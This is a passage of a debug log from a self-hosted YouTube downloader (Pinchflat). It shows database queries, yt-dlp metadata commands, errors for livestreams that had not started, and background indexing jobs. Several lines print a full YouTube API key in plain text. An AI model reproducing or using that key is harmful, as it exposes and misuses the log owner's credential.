(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", "h5Ya_mmFguc", "zfnBUM-LZNA", "T2r1B-dkbnk", ...] 16:36:26.745 [debug] QUERY OK source="settings" db=0.0ms idle=171.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:26.745 [debug] QUERY OK source="settings" db=0.0ms idle=170.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:26.745 [debug] Running yt-dlp command for action: get_media_attributes 16:36:26.746 [debug] QUERY OK source="settings" db=0.0ms idle=170.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:26.746 [debug] QUERY OK source="settings" db=0.0ms idle=170.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:26.746 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:26.746 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a0/84/a0842715e9f11f4b46a31c89f1c63c8b2de8bfe9dc0810ac3fc220a1a5812243.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:36:28.026 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a0/84/a0842715e9f11f4b46a31c89f1c63c8b2de8bfe9dc0810ac3fc220a1a5812243.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 16:36:28.026 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 16:36:28.026 [debug] QUERY OK source="settings" db=0.1ms idle=459.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:28.026 [debug] QUERY OK source="settings" db=0.0ms idle=148.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:28.026 [debug] Running yt-dlp command for action: get_media_attributes 16:36:28.030 [debug] QUERY OK source="settings" db=0.0ms idle=151.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:28.030 [debug] QUERY OK source="settings" db=0.0ms idle=151.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:28.030 [debug] QUERY OK source="settings" db=0.0ms idle=151.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:28.030 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/19/34/193417cf992cf12d024f956ef65276fdb460d401564b01d2aea44d8818c4f70d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:36:28.367 [info] {"source":"oban","duration":10592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:29.343 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/19/34/193417cf992cf12d024f956ef65276fdb460d401564b01d2aea44d8818c4f70d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 16:36:29.343 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 16:36:29.343 [debug] QUERY OK source="media_items" db=0.4ms idle=1313.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 16:36:29.345 [debug] QUERY OK source="tasks" db=0.7ms idle=976.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799998, 19, ~U[2026-02-10 22:36:29Z], ~U[2026-02-10 22:36:29Z]] 16:36:29.345 [info] {"args":{"id":19},"id":3799959,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":2773189,"event":"job:stop","queue_time":754182,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:29.576 [info] {"args":{"id":30},"id":3799960,"meta":{},"system_time":1770762989575926239,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:29.576 [debug] QUERY OK source="sources" db=0.2ms idle=230.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 16:36:29.576 [debug] QUERY OK source="settings" db=0.1ms idle=230.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:29.576 [debug] QUERY OK source="media_profiles" db=0.1ms idle=225.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:36:29.577 [debug] QUERY OK source="settings" db=0.0ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:29.577 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 16:36:29.577 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:29.577 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:36:29.697 [debug] QUERY OK source="media_items" db=0.6ms idle=120.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 16:36:29.698 [debug] QUERY OK source="media_items" db=0.2ms idle=121.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 16:36:29.699 [debug] QUERY OK source="tasks" db=0.1ms idle=121.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799999, 30, ~U[2026-02-10 22:36:29Z], ~U[2026-02-10 22:36:29Z]] 16:36:29.699 [info] {"args":{"id":30},"id":3799960,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":123313,"event":"job:stop","queue_time":413343,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:30.577 [info] {"args":{"id":17},"id":3799961,"meta":{},"system_time":1770762990577702424,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:30.578 [debug] QUERY OK source="sources" db=0.1ms idle=878.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 16:36:30.578 [debug] QUERY OK source="settings" db=0.1ms idle=878.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:30.578 [debug] QUERY OK source="media_profiles" db=0.1ms idle=872.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:36:30.578 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:30.578 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 16:36:30.578 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:30.579 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:36:30.655 [debug] QUERY OK source="media_items" db=0.4ms idle=77.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 16:36:30.656 [debug] QUERY OK source="media_items" db=0.1ms idle=77.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 16:36:30.657 [debug] QUERY OK source="tasks" db=0.1ms idle=78.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800000, 17, ~U[2026-02-10 22:36:30Z], ~U[2026-02-10 22:36:30Z]] 16:36:30.657 [info] {"args":{"id":17},"id":3799961,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":79545,"event":"job:stop","queue_time":554769,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:32.579 [info] {"args":{"id":33},"id":3799962,"meta":{},"system_time":1770762992579588204,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:32.579 [debug] QUERY OK source="sources" db=0.1ms idle=701.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 16:36:32.580 [debug] QUERY OK source="settings" db=0.0ms idle=701.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:32.580 [debug] QUERY OK source="media_profiles" db=0.1ms idle=701.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:36:32.580 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:32.580 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 16:36:32.580 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:32.580 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:36:32.702 [debug] QUERY OK source="media_items" db=0.9ms idle=121.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", 